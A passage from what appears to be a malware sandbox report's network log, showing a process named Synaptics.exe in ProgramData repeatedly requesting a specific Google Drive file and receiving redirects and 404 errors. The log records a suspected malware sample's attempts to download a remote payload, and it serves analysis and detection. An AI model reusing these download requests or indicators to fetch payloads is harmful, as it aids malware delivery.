ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-12-05 23:15:15 UTC	137	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Err
2024-12-05 23:15:15 UTC	1390	IN	Data Raw: 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 64 37 61 38 79 55 71 43 57 36 59 55 6c 4e 47 42 79 49 73 77 55 67 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 Data Ascii: or 404 (Not Found)!!1</title><style nonce="d7a8yUqCW6YUlNGByIswUg">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180
2024-12-05 23:15:15 UTC	125	IN	Data Raw: 2e 3c 2f 62 3e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: .</b> <ins>Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	49777	142.250.181.14	443	4632	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-05 23:15:14 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache
2024-12-05 23:15:15 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 05 Dec 2024 23:15:15 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: script-src 'report-sample' 'nonce-zEcXRm59CyHQJFJonKUTdw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.4	49787	142.250.181.14	443	4632	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-05 23:15:17 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache
2024-12-05 23:15:18 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 05 Dec 2024 23:15:18 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: script-src 'report-sample' 'nonce-A7H4eZqlQIpDCVmBagjbfg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Cross-Origin-Opener-Policy: same-origin Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.4	49786	142.250.181.14	443	4632	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-05 23:15:17 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache
2024-12-05 23:15:18 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 05 Dec 2024 23:15:18 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: script-src 'report-sample' 'nonce-T7OkoxyoQGHoSPTPUFegow' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Cross-Origin-Opener-Policy: same-origin Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.4	49791	142.250.181.14	443	4632	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-05 23:15:20 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache
2024-12-05 23:15:21 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 05 Dec 2024 23:15:21 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-mxttFLKMlXrJiKMUEU6_aQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.4	49790	142.250.181.33	443	4632	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-05 23:15:20 UTC	387	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=519=2TRLETcpdYSb1n8_gWEAOIhoYoP59gnLOOm7oFV9-MdxaybFFISp0XHtFBfqBuCWkcOXBH8bnDfU6MwXaXMrdR90foUf91YVZaodGa4GgbiSxLZzbl8kGI7QOaNw4ghwLPqQTeGB-91eWGHD5CmVIr6gFqU3pqzcoa5V2fTtLjb_BPRxBVeVmjk
2024-12-05 23:15:21 UTC	1253	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 05 Dec 2024 23:15:21 GMT Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-ar4Lhqz-xRyxPvuZJOcP_g' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Content-Length: 1652 X-GUploader-UploadID: AFiumC5SIkfez9rzjA83V8eoAP9o-ROKoLGxhf6YXmXSwK6ldoHUekSDZPhL16wPoPYF40P94TfoQhdzuw Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-12-05 23:15:21 UTC	137	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Err
2024-12-05 23:15:21 UTC	1390	IN	Data Raw: 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 75 58 34 71 56 65 56 5a 30 6f 77 49 6d 36 73 31 55 63 4e 57 58 51 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 Data Ascii: or 404 (Not Found)!!1</title><style nonce="uX4qVeVZ0owIm6s1UcNWXQ">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180
2024-12-05 23:15:21 UTC	125	IN	Data Raw: 2e 3c 2f 62 3e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: .</b> <ins>Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.4	49792	142.250.181.14	443	4632	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-05 23:15:20 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache
2024-12-05 23:15:21 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 05 Dec 2024 23:15:21 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-q9GyhjtcMQX8MHG65_u2Og' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.4	49793	142.250.181.33	443	4632	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-05 23:15:20 UTC	387	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=519=2TRLETcpdYSb1n8_gWEAOIhoYoP59gnLOOm7oFV9-MdxaybFFISp0XHtFBfqBuCWkcOXBH8bnDfU6MwXaXMrdR90foUf91YVZaodGa4GgbiSxLZzbl8kGI7QOaNw4ghwLPqQTeGB-91eWGHD5CmVIr6gFqU3pqzcoa5V2fTtLjb_BPRxBVeVmjk
2024-12-05 23:15:21 UTC	1253	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 05 Dec 2024 23:15:21 GMT Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-p4DDkl2N-jDHPLenLk3Yiw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Length: 1652 X-GUploader-UploadID: AFiumC6Ce489e93DCaBDFxFu_VVBIxT39kSm5l28j1aM5g9z4pAbzuahHeAZ3Z0KnbLfSCzjJ431iduLyw Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-12-05 23:15:21 UTC	137	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Err
2024-12-05 23:15:21 UTC	1390	IN	Data Raw: 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 34 76 6a 58 4e 32 45 5f 5a 33 74 62 52 46 65 79 32 36 33 64 59 41 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 Data Ascii: or 404 (Not Found)!!1</title><style nonce="4vjXN2E_Z3tbRFey263dYA">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180
2024-12-05 23:15:21 UTC	125	IN	Data Raw: 2e 3c 2f 62 3e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: .</b> <ins>Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.4	49801	142.250.181.33	443	4632	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-05 23:15:23 UTC	387	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=519=2TRLETcpdYSb1n8_gWEAOIhoYoP59gnLOOm7oFV9-MdxaybFFISp0XHtFBfqBuCWkcOXBH8bnDfU6MwXaXMrdR90foUf91YVZaodGa4GgbiSxLZzbl8kGI7QOaNw4ghwLPqQTeGB-91eWGHD5CmVIr6gFqU3pqzcoa5V2fTtLjb_BPRxBVeVmjk
2024-12-05 23:15:24 UTC	1253	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 05 Dec 2024 23:15:24 GMT Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-5mO7QFxetloBV6TCnnWfww' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Length: 1652 X-GUploader-UploadID: AFiumC7q2WKGnjDsDotFwcs60Vwh4J_sqnZOlksScCmiH78f3VxNDn6bfWumyhlFYI_pYDZCtTeYnSVbvQ Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-12-05 23:15:24 UTC	137	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Err
2024-12-05 23:15:24 UTC	1390	IN	Data Raw: 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 68 76 6c 32 79 52 55 30 6e 45 51 7a 51 32 54 55 38 67 34 44 7a 51 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 Data Ascii: or 404 (Not Found)!!1</title><style nonce="hvl2yRU0nEQzQ2TU8g4DzQ">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180
2024-12-05 23:15:24 UTC	125	IN	Data Raw: 2e 3c 2f 62 3e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: .</b> <ins>Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.4	49802	142.250.181.14	443	4632	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-05 23:15:23 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache
